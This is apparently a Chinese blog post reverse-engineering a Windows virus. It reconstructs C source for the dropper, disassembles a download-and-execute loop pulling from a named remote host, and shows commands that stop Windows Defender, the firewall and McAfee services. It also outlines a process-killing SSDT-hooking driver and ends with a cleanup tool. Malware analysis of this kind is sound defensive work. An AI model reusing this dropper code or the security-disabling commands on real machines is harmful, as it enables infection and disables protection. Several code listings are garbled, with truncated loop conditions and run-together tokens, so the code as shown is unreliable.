前几日电脑启动项总是出现一个叫 system.exe 的启动项,前几次就删除作罢,也没细细追究,但几次以后厌烦了,直接拿出 IDA,OD 分析,然后就有了这篇文章。
先描述一下病毒行为吧
system.exe 释放文件里面的两个 dll,并用rundll32 启动两个 dll
grea.dll(以后简称叫做 dll1,文件名生成随机) 3个线程工作,第一个线程下载http://trt10.t3egc.com:8080/rt10/d.txt文件,并根据里面的列表下载其他virus并执行。第二个线程将system.exe 写入启动项。第三个线程枚举磁盘上的 exe 文件,将一段 payload 插入其中,并将system.exe 写入文件结尾。
jmgr.dll (dll2,文件名也是随机)停止防火墙、Winfender,并加载驱动 cdriver.sys 检测并关闭杀毒软件(McAfee、360、瑞星、ESET)
CDriver.sys 根据第二个dll的指令实行杀进程,hook ZwCreateProcess Ex禁止进程启动
其中 system.exe 代码已经逆的差不多,直接给逆向好的源码吧。(释放并运行dll1已经完全逆向出来,dll2类同,就不再继续逆了,把GetStringHash函数逆出来还是不错的,后面其他模块的分析会继续用到这个函数,此函数是计算字符串的hash值,后面的进程名也用到,无法还原进程名)
代码:
#pragma comment(linker, "/ENTRY:entry")
#include
// #define RELEASE_PUBLIC
extern unsigned char Dll1[0xD400];
extern unsigned char Dll2[];
void LoopGetFileName(char* buf, int index, int seed) // 00401000
{
buf[index] = seed%24 + 'a';
int nextSeed = seed/10;
if (nextSeed > 0)
{
LoopGetFileName(buf, index+1, nextSeed);
}
else
{
buf[index] = '\0';
}
}
DWORD GetStringHash(PSTR FuncName) // 00401070
{
DWORD dw1 = 0x5C6B7;
DWORD dw2 = 0xF8C9;
DWORD dw3 = 0;
while(*FuncName)
{
if (*FuncName >= 'A' && *FuncName <= 'Z')
{
dw3 = *FuncName + dw3*dw2 + 0x20;
}
else
{
dw3 = *FuncName + dw3*dw2;
}
dw2 = dw2*dw1;
FuncName++;
}
return dw3&0x7FFFFFFF;
}
PVOID GetProcAddr(HMODULE hmodule, DWORD hash) // 00401100
{
PIMAGE_DOS_HEADER Header = (PIMAGE_DOS_HEADER)hmodule;
PIMAGE_NT_HEADERS peheader =
(PIMAGE_NT_HEADERS)((DWORD)Header + Header->e_lfanew);
// 导出表地址
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY) // (pRELOADTABLE)
( (LPBYTE)hmodule + peheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// IAT地址
LPBYTE pExportAddr = (LPBYTE)hmodule + peheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
DWORD dwExportSize = peheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
PDWORD NameRVA = (PDWORD)((LPBYTE)hmodule + pExportDir->AddressOfNames );
PDWORD FuncAddr = (PDWORD)((LPBYTE)hmodule + pExportDir->AddressOfFunctions);
PWORD Ordinal = (PWORD)((LPBYTE)hmodule + pExportDir->AddressOfNameOrdinals);
// 遍历以名称导出的函数
for (DWORD i=0; iNumberOfNames; i++)
{
LPSTR tmpfunname = (PSTR)((DWORD)NameRVA[i]+(LPBYTE)hmodule);
if (hash == GetStringHash(tmpfunname))
{
WORD Hint = Ordinal[i];
return (LPBYTE)hmodule+FuncAddr[Hint];
}
}
return NULL;
}
HMODULE GetKernel32BaseAddress() // 004011A0
{
char kernel32[] = "kernel32.dll";
return GetModuleHandleA(kernel32);
}
PVOID GetHashProcAddr(DWORD hash) // 004011F0
{
return GetProcAddr(GetKernel32BaseAddress(), hash);
}
void DecodeString(char* srcbuf, char* dstbuf, int len, int key) // 00401240
{
for (int i=0; i
{
dstbuf[i] = srcbuf[i]^key;
}
}
void SaveAndRunSecondDll() // 00401280
{
;
}
void SaveAndRunFirstDll() // 00401730
{
char SaveDll[260];
char SaveDllName[20];
typedef UINT (WINAPI* GetSystemDir)(LPSTR,UINT);
GetSystemDir SysDir = (GetSystemDir)GetHashProcAddr(0x214c6981); // GetSystemDirectoryA
SysDir(SaveDll, 260);
typedef DWORD (WINAPI* TickCount)();
TickCount Tick = (TickCount)GetHashProcAddr(0x1C368DA0);
LoopGetFileName(SaveDllName , 0, Tick());
strcat(SaveDll, "\\");
strcat(SaveDll, SaveDllName);
strcat(SaveDll, ".dll");
typedef HANDLE (WINAPI *PCreateFile)(LPCSTR , DWORD , DWORD , LPSECURITY_ATTRIBUTES , DWORD , DWORD , HANDLE);
PCreateFile cf = (PCreateFile)GetHashProcAddr(0x4E1E0843); // CreateFileA
HANDLE handle = cf(SaveDll, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (handle != INVALID_HANDLE_VALUE)
{
DWORD dwBytes;
typedef BOOL(WINAPI* WriteF)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
WriteF writef= (WriteF)GetHashProcAddr(0x7463A627); // WriteFile
writef(handle, Dll1, sizeof(Dll1), &dwBytes, NULL);
typedef BOOL (WINAPI* pClose)(HANDLE);
pClose closef = (pClose)GetHashProcAddr(0x70EBFB28); // CloseHandle
closef(handle);
}
char buf[] = {0x60, 0x47, 0x5C, 0x56, 0x5E, 0x5E, 0x01, 0x00, 0x12, 0x32};
DecodeString(buf, buf, 10, 0x32);
STARTUPINFO StartupInfo = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION ProcessInformation = {0};
strcat(SaveDll, " Exucute");
char RunCommand[MAX_PATH];
strcpy(RunCommand, buf);
strcat(RunCommand, SaveDll);
strlen(RunCommand); // 这个没用
typedef BOOL (WINAPI* Prunproc)(LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
Prunproc procrun = (Prunproc)GetHashProcAddr(0x00E621D6); // CreateProcess
#ifdef RELEASE_PUBLIC
procrun(NULL, RunCommand, NULL, NULL, FALSE, 0, NULL, NULL, &StartupInfo, &ProcessInformation);
#endif
WaitForSingleObject(ProcessInformation.hProcess, 60000);
}
void entry() // 004019E0
{
char ExitFileName[260];
char NewFileName[260];
SetSystemCursor( CopyIcon(LoadCursorA(NULL, MAKEINTRESOURCE(0x7F00))), 0x7F8A);
SaveAndRunFirstDll();
SaveAndRunSecondDll();
GetModuleFileNameA(NULL, ExitFileName, MAX_PATH);
GetSystemDirectoryA(NewFileName, MAX_PATH);
char name[] = "\\system.exe";
lstrcatA(NewFileName, name);
#ifdef RELEASE_PUBLIC
MoveFileA(ExitFileName, NewFileName);
#endif
ExitProcess(0);
}
unsigned char Dll1[0xD400] = {
.... // dll数据太多, 就省略了
};
整个程序流程很简单,就是定位函数繁琐的操作
第一个dll,grea.dll分析:dll没有入口,只有一个导出函数Execute
Execute一进入就创建三个线程
代码:
.text:10002476 push 0 ; lpThreadId
.text:10002478 push 0 ; dwCreationFlags
.text:1000247A push 0 ; lpParameter
.text:1000247C push offset RunDownAndExec ; 执行下载病毒的工作,然后执行病毒体
.text:10002481 push 0 ; dwStackSize
.text:10002483 push 0 ; lpThreadAttributes
.text:10002485 call ds:CreateThread
.text:10002485
.text:1000248B mov [ebp+hHandle], eax
.text:1000248E mov edx, [ebp+hHandle]
.text:10002491 push edx ; hObject
.text:10002492 call ds:CloseHandle
.text:10002492
.text:10002498 push 0 ; lpThreadId
.text:1000249A push 0 ; dwCreationFlags
.text:1000249C push 0 ; lpParameter
.text:1000249E push offset WriteRegister ; 写启动项的线程
.text:100024A3 push 0 ; dwStackSize
.text:100024A5 push 0 ; lpThreadAttributes
.text:100024A7 call ds:CreateThread
.text:100024A7
.text:100024AD mov [ebp+hHandle], eax
.text:100024B0 mov eax, [ebp+hHandle]
.text:100024B3 push eax ; hObject
.text:100024B4 call ds:CloseHandle
.text:100024B4
.text:100024BA push 0 ; lpThreadId
.text:100024BC push 0 ; dwCreationFlags
.text:100024BE push 0 ; lpParameter
.text:100024C0 push offset EnumAllDiskExeInsertVirus ; 枚举磁盘并感染PE,写入system.exe,塞入一个payload
;在payload中释放system.exe到system32目录下并执行,然后将自身程序名改名后面加t,后释放还原原始exe并执行
.text:100024C5 push 0 ; dwStackSize
.text:100024C7 push 0 ; lpThreadAttributes
.text:100024C9 call ds:CreateThread
然后复制wininet.dll到零时目录加载,得到Internet函数去下载文件并执行
代码:
.text:100021F0 ; DWORD __stdcall RunDownAndExec(LPVOID a1)
.text:100021F0 RunDownAndExec proc near ; DATA XREF: Exucute+AC o
.text:100021F0
.text:100021F0
.text:100021F0 push ebp
.text:100021F1 mov ebp, esp
.text:100021F3 sub esp, 338h
.text:100021F9 push 214C6981h ; GetSystemDirectoryA
.text:100021FE call GetHashProcAddr
.text:100021FE
.text:10002203 add esp, 4
.text:10002206 mov [ebp+GetSystemDirectoryA], eax
.text:1000220C push 104h
.text:10002211 lea eax, [ebp+String1]
.text:10002217 push eax
.text:10002218 call [ebp+GetSystemDirectoryA]
.text:10002218
.text:1000221E mov [ebp+String2], '\'
.text:10002225 mov [ebp+var_22B], '\'
.text:1000222C mov [ebp+var_22A], 'w'
.text:10002233 mov [ebp+var_229], 'i'
.text:1000223A mov [ebp+var_228], 'n'
.text:10002241 mov [ebp+var_227], 'i'
.text:10002248 mov [ebp+var_226], 'n'
.text:1000224F mov [ebp+var_225], 'e'
.text:10002256 mov [ebp+var_224], 't'
.text:1000225D mov [ebp+var_223], '.'
.text:10002264 mov [ebp+var_222], 'd'
.text:1000226B mov [ebp+var_221], 'l'
.text:10002272 mov [ebp+var_220], 'l'
.text:10002279 mov [ebp+var_21F], 0
.text:10002280 lea ecx, [ebp+String2]
.text:10002286 push ecx ; lpString2
.text:10002287 lea edx, [ebp+String1]
.text:1000228D push edx ; lpString1
.text:1000228E call ds:lstrcatA
.text:1000228E
.text:10002294 push 723B8118h ; GetTempPathA
.text:10002299 call GetHashProcAddr
.text:10002299
.text:1000229E add esp, 4
.text:100022A1 mov [ebp+GetTempPathA], eax
.text:100022A7 lea eax, [ebp+PathName]
.text:100022AD push eax
.text:100022AE push 104h
.text:100022B3 call [ebp+GetTempPathA]
.text:100022B3
.text:100022B9 lea ecx, [ebp+LibFileName]
.text:100022BF push ecx ; lpTempFileName
.text:100022C0 push 0 ; uUnique
.text:100022C2 push 0 ; lpPrefixString
.text:100022C4 lea edx, [ebp+PathName]
.text:100022CA push edx ; lpPathName
.text:100022CB call ds:GetTempFileNameA
.text:100022CB
.text:100022D1 push 3AFEB504h ; CopyFileA
.text:100022D6 call GetHashProcAddr
.text:100022D6
.text:100022DB add esp, 4
.text:100022DE mov [ebp+CopyFileA], eax
.text:100022E4 push 0
.text:100022E6 lea eax, [ebp+LibFileName]
.text:100022EC push eax
.text:100022ED lea ecx, [ebp+String1]
.text:100022F3 push ecx
.text:100022F4 call [ebp+CopyFileA] ; 将文件wininet 拷贝到%tmp%目录下,然后LoadLibraryA加载dll
.text:100022F4
.text:100022FA lea edx, [ebp+LibFileName] ; 从wininet中得到各函数地址保存,
.text:10002300 push edx ; lpLibFileName
.text:10002301 call ds:LoadLibraryA
.text:10002301
.text:10002307 mov [ebp+var_230], eax
.text:1000230D push 0B8F05C0h ; InternetOpenA
.text:10002312 mov eax, [ebp+var_230]
.text:10002318 push eax
.text:10002319 call GetProcAddr
.text:10002319
.text:1000231E add esp, 8
.text:10002321 mov InternetOpenA, eax
.text:10002326 push 15601607h ; InternetOpenUrlA
.text:1000232B mov ecx, [ebp+var_230]
.text:10002331 push ecx
.text:10002332 call GetProcAddr
.text:10002332
.text:10002337 add esp, 8
.text:1000233A mov InternetOpenUrlA, eax
.text:1000233F push 4E9CAF2Dh ; InternetReadFile
.text:10002344 mov edx, [ebp+var_230]
.text:1000234A push edx
.text:1000234B call GetProcAddr
.text:1000234B
.text:10002350 add esp, 8
.text:10002353 mov InternetReadFile, eax
.text:10002358 push 1461401h ; InternetCloseHandle
.text:1000235D mov eax, [ebp+var_230]
.text:10002363 push eax
.text:10002364 call GetProcAddr
.text:10002364
.text:10002369 add esp, 8
.text:1000236C mov InternetCloseHandle, eax
.text:1000236C
.text:10002371
.text:10002371 loc_10002371: ; CODE XREF: RunDownAndExec+19A j
.text:10002371 mov ecx, 1
.text:10002376 test ecx, ecx
.text:10002378 jz short loc_1000238C ; while(1) 一个死循环
.text:10002378
.text:1000237A call DoDownAndRunVirus ; 利用Internet函数下载并执行病毒
分析第二个dll,jmgr.dll
一开始就关闭防火墙、windows自带病毒扫描程序
代码:
.text:10001D00 push ebp
.text:10001D01 mov ebp, esp
.text:10001D03 sub esp, 290h
.text:10001D09 push 289FBD13h
.text:10001D0E call GetHashProcAddr
.text:10001D0E
.text:10001D13 add esp, 4
.text:10001D16 mov [ebp+WinExec], eax
.text:10001D1C push 0
.text:10001D1E push offset s->NetStopWindefend ; "net stop WinDefend"
.text:10001D23 call [ebp+WinExec] ; 关闭WinDefend服务
.text:10001D23
.text:10001D29 push 0
.text:10001D2B push offset s->NetStopMpssvc ; "net stop MpsSvc"
.text:10001D30 call [ebp+WinExec] ; 关闭防火墙
.text:10001D30
.text:10001D36 push 0
.text:10001D38 push offset s->ScConfigWindefendStartDisabled ; "sc config WinDefend start= disabled"
.text:10001D3D call [ebp+WinExec] ; 禁用WinDefend
.text:10001D3D
.text:10001D43 push 0
.text:10001D45 push offset s->ScConfigMpssvcStartDisabled ; "sc config MpsSvc start= disabled"
.text:10001D4A call [ebp+WinExec] ; 禁用防火墙
里面一堆的关闭杀软服务工作
代码:
.text:10001B6B mov byte ptr [ebp+var_298+3], 'h'
.text:10001B72 mov byte ptr [ebp+var_294], 'i'
.text:10001B79 mov byte ptr [ebp+var_294+1], 'e'
.text:10001B80 mov byte ptr [ebp+var_294+2], 'l'
.text:10001B87 mov byte ptr [ebp+var_294+3], 'd'
.text:10001B8E mov byte ptr [ebp+var_290], 0
.text:10001B95 lea ecx, [ebp+var_298]
.text:10001B9B push ecx ; lpString2
.text:10001B9C call StopService ; 关闭 Mcshield 服务
.text:10001B9C
.text:10001BA1 add esp, 4
.text:10001BA4 mov byte ptr [ebp+var_2A8], 'M'
.text:10001BAB mov byte ptr [ebp+var_2A8+1], 'c'
.text:10001BB2 mov byte ptr [ebp+var_2A8+2], 'O'
.text:10001BB9 mov byte ptr [ebp+var_2A8+3], 'D'
.text:10001BC0 mov byte ptr [ebp+var_2A4], 'S'
.text:10001BC7 mov byte ptr [ebp+var_2A4+1], 0
.text:10001BCE lea edx, [ebp+var_2A8]
.text:10001BD4 push edx ; lpString2
.text:10001BD5 call StopService ; 关闭 McODS 服务
.text:10001BD5
.text:10001BDA add esp, 4
.text:10001BDD mov byte ptr [ebp+var_2BC], 'm'
.text:10001BE4 mov byte ptr [ebp+var_2BC+1], 'c'
.text:10001BEB mov byte ptr [ebp+var_2BC+2], 'm'
.text:10001BF2 mov byte ptr [ebp+var_2BC+3], 's'
.text:10001BF9 mov byte ptr [ebp+var_2B8], 'c'
.text:10001C00 mov byte ptr [ebp+var_2B8+1], 's'
.text:10001C07 mov byte ptr [ebp+var_2B8+2], 'v'
.text:10001C0E mov byte ptr [ebp+var_2B8+3], 'c'
.text:10001C15 mov byte ptr [ebp+var_2B4], 0
.text:10001C1C lea eax, [ebp+var_2BC]
.text:10001C22 push eax ; lpString2
.text:10001C23 call StopService ; 关闭 mcmscsvc 服务
.text:10001C23
.text:10001C28 add esp, 4
.text:10001C2B mov byte ptr [ebp+var_2D4], 'M'
.text:10001C32 mov byte ptr [ebp+var_2D4+1], 'c'
.text:10001C39 mov byte ptr [ebp+var_2D4+2], 'S'
.text:10001C40 mov byte ptr [ebp+var_2D4+3], 'y'
.text:10001C47 mov byte ptr [ebp+var_2D0], 's'
.text:10001C4E mov byte ptr [ebp+var_2D0+1], 'm'
.text:10001C55 mov byte ptr [ebp+var_2D0+2], 'o'
.text:10001C5C mov byte ptr [ebp+var_2D0+3], 'n'
.text:10001C63 mov byte ptr [ebp+var_2CC], 0
.text:10001C6A lea ecx, [ebp+var_2D4]
.text:10001C70 push ecx ; lpString2
.text:10001C71 call StopService ; 关闭 Mcsysmon 服务
图中有误,是利用驱动杀进程,而非利用调用
CDriver.sys 分析
驱动内容就非常简单了,主要功能都在IoControlRoutine中,里面几个命令功能
代码:
0x22E14B 传入SSDT的id与地址,然后hook SSDT
0x222009 attach到进程然后杀死进程(传入pid)
0x222006 hook ZwCreateProcessEx,ZwCreateProcessEx中根据SectionHandle得到文件名,然后计算hash,根据里面的hash列表禁止启动某部分程序
0x222007 unhook ZwCreateProcessEx
完了最后写一个专业杀工具
代码:
BOOLKillVirus(LPTSTRszFileName)
{
BOOLretValue = FALSE;
DWORDdwBytes;
HANDLEhFile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
returnretValue;
}
DWORDdwSize = GetFileSize(hFile, NULL);
LPBYTEpBuf = (PBYTE)AllocMemory(dwSize);
SetFilePointer(hFile,0, NULL, FILE_BEGIN);
ReadFile(hFile, pBuf, dwSize, &dwBytes, NULL);
CloseHandle(hFile);
do
{
PIMAGE_DOS_HEADER Header = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS peheader =
(PIMAGE_NT_HEADERS)((LPBYTE)Header + Header->e_lfanew);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)( (DWORD)peheader +
sizeof(peheader->FileHeader) +
sizeof(peheader->Signature) +
peheader->FileHeader.SizeOfOptionalHeader );// 节表项的开始
// 区段-2
WORDSectionNum = peheader->FileHeader.NumberOfSections;// 节数目
peheader->FileHeader.NumberOfSections = SectionNum - 2;
DWORDdwFileSize = dwSize - SectionHeader[SectionNum-2].SizeOfRawData - SectionHeader[SectionNum-1].SizeOfRawData;
ULONGOEP = peheader->OptionalHeader.AddressOfEntryPoint;
WORDi=0;
for(i=0; i=SectionHeader[i].VirtualAddress && OEP OptionalHeader.AddressOfEntryPoint = *(PDWORD)((PBYTE)Header+OEP+0x8E6+3);
// oep+0x8F3+3 code size \xC7\x40\x1C
if(memicmp((PBYTE)Header+OEP+0x8F3,"\xC7\x40\x1C", 3) != 0)
{
break;
}
peheader->OptionalHeader.SizeOfCode = *(PDWORD)((PBYTE)Header+OEP+0x8F3+3);
// oep+0x900+3 iamge size \xC7\x41\x50
if(memicmp((PBYTE)Header+OEP+0x900,"\xC7\x41\x50", 3) != 0)
{
break;
}
peheader->OptionalHeader.SizeOfImage = *(PDWORD)((PBYTE)Header+OEP+0x900+3);
// 不知道什么用的
peheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
peheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
// 段表 peheader+i*0x28+F8
for(i=SectionNum-2; i
{
memset(&SectionHeader[i], 0,sizeof(IMAGE_SECTION_HEADER));
}
DeleteFile(szFileName);
// 重新写入文件
HANDLEhnewFile = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hnewFile, 0, NULL, FILE_BEGIN);
WriteFile(hnewFile, (PBYTE)pBuf, dwFileSize, &dwBytes, NULL);
SetEndOfFile(hnewFile);
CloseHandle(hnewFile);
retValue = TRUE;
}while(0);
FreeMemory(pBuf);
returnretValue;
}